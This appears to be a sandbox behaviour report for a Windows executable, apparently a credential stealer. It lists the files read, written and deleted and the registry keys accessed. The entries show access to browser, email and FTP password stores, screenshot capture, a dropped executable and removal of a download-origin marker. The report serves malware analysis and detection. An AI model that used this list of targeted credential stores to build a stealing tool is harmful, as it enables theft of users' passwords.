C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\08d608378aa405adc844f3cf36974b8c\Microsoft.VisualBasic.ni.dll
\Device\NamedPipe\
C:\Windows\Branding\Basebrd\basebrd.dll
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Users\Seven01\AppData\Roaming\Tesla.exe.config
C:\Users\Seven01\AppData\Roaming\Tesla.exe
C:\Users\Seven01\AppData\Local\Temp\CabBA57.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBA58.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBAF5.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBAF6.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBB45.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBB46.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBBD4.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBBD5.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBC24.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBC25.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBC93.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBC94.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBCC4.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBCC5.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBD43.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBD44.tmp
C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe.config
\Device\KsecDD
C:\Windows\Microsoft.net\Framework\v2.0.50727\RegAsm.exe
C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe.Config
C:\Windows\System32\wbem\wbemdisp.tlb
C:\Windows\assembly\NativeImages_v2.0.50727_32\CustomMarshalers\bf7e7494e75e32979c7824a07570a8a9\CustomMarshalers.ni.dll
C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll
C:\Windows\SysWOW64\stdole2.tlb
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Management\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\System.Management.ni.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\wminet_utils.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\bc09ad2d49d8535371845cd7532f9271\System.Configuration.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\461d3b6b3f43e6fbe6c897d5936e17e4\System.Xml.ni.dll
C:\Users\Seven01\AppData\Roaming\Mozilla\Firefox\profiles.ini
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a\Microsoft.VisualBasic.resources.dll
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Security\d9a485330ec2708456134e4a9712a4ab\System.Security.ni.dll
C:\Users\Seven01\AppData\Roaming\Mozilla\SeaMonkey\profiles.ini
C:\Users\Seven01\AppData\Roaming\Flock\Browser\profiles.ini
C:\Users\Seven01\AppData\Roaming\Flock\Browser\signons3.txt
C:\Users\Seven01\AppData\Roaming\Thunderbird\profiles.ini
C:\Users\Seven01\AppData\Roaming\Postbox\profiles.ini
C:\Users\Seven01\AppData\Roaming\FileZilla\recentservers.xml
C:\Users\Seven01\AppData\Roaming\CoreFTP\sites.idx
C:\Windows\SysWOW64\wshom.ocx
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Users\Seven01\AppData\Roaming\ScreenShot\screen.jpeg
C:\Windows\assembly\GAC_MSIL\System.Drawing.resources\2.0.0.0_it_b03f5f7f11d50a3a\System.Drawing.resources.dll
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it_b77a5c561934e089\System.resources.dll
C:\Windows\sysnative\wbem\WmiPrvSE.exe
C:\Windows\inf\hdaudio.PNF
\??\PIPE\samr
C:\Windows\sysnative\wbem\repository\MAPPING1.MAP
C:\Windows\sysnative\wbem\repository\MAPPING2.MAP
C:\Windows\sysnative\wbem\repository\MAPPING3.MAP
C:\Windows\sysnative\wbem\repository\OBJECTS.DATA
C:\Windows\sysnative\wbem\repository\INDEX.BTR
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
\??\WMIDataDevice
C:\Users\Seven01\AppData\Local\Temp\Txu.exe.config
C:\Users\Seven01\AppData\Local\Temp\Txu.exe

Write Files

C:\Users\Seven01\AppData\Local\Temp\CabAFA8.tmp
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\Local\Temp\CabB027.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB049.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB089.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB0D9.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB11A.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB13B.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB18B.tmp
C:\Users\Seven01\AppData\Roaming\Tesla.exe
C:\Users\Seven01\AppData\Local\Temp\CabBA57.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBAF5.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBB45.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBBD4.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBC24.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBC93.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBCC4.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBD43.tmp
C:\Users\Seven01\AppData\Local\Temp\Update.txt
C:\Users\Seven01\AppData\Roaming\Foamex International Inc\Foamex International Inc.exe
C:\Users\Seven01\AppData\Local\Temp\Txu.exe
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
C:\Users\Seven01\AppData\Roaming\ScreenShot\screen.jpeg
\??\PIPE\samr
C:\Windows\sysnative\wbem\repository\WRITABLE.TST
C:\Windows\sysnative\wbem\repository\MAPPING1.MAP
C:\Windows\sysnative\wbem\repository\MAPPING2.MAP
C:\Windows\sysnative\wbem\repository\MAPPING3.MAP
C:\Windows\sysnative\wbem\repository\OBJECTS.DATA
C:\Windows\sysnative\wbem\repository\INDEX.BTR
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
\??\WMIDataDevice

Delete Files

C:\Users\Seven01\AppData\Local\Temp\CabAFA8.tmp
C:\Users\Seven01\AppData\Local\Temp\TarAFB9.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB027.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB028.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB049.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB04A.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB089.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB08A.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB0D9.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB0DA.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB11A.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB11B.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB13B.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB13C.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB18B.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB18C.tmp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2356.20444625
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2356.20444625
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2356.20444656
C:\Users\Seven01\AppData\Local\Temp\CabBA57.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBA58.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBAF5.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBAF6.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBB45.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBB46.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBBD4.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBBD5.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBC24.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBC25.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBC93.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBC94.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBCC4.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBCC5.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBD43.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBD44.tmp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2852.20447468
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2852.20447468
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2852.20447468
C:\Users\Seven01\AppData\Roaming\Foamex International Inc\Foamex International Inc.exe:Zone.Identifier

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v2.0.50727
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\AppPatch
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000\mscorwks.dll
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\me.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\Internet
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\LocalIntranet
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v2.0.50727\Security\Policy
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\GACChangeNotification\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\crypt32
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DebugHeapFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\msasn1
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\DiagnosticPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Cleanup\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\State
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Security
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Security\Safety Warning Level
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\Safer
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\Safer
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\TrustedPublisher\Safer
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagMatchAnyMask
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Wintrust\Config
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{BA08A66F-113B-4D58-9329-A1B37AF30F0E}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptSIPDllPutSignedDataMsg
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{BA08A66F-113B-4D58-9329-A1B37AF30F0E}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptSIPDllGetSignedDataMsg
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7\Name
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MUI\StringCacheSettings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B
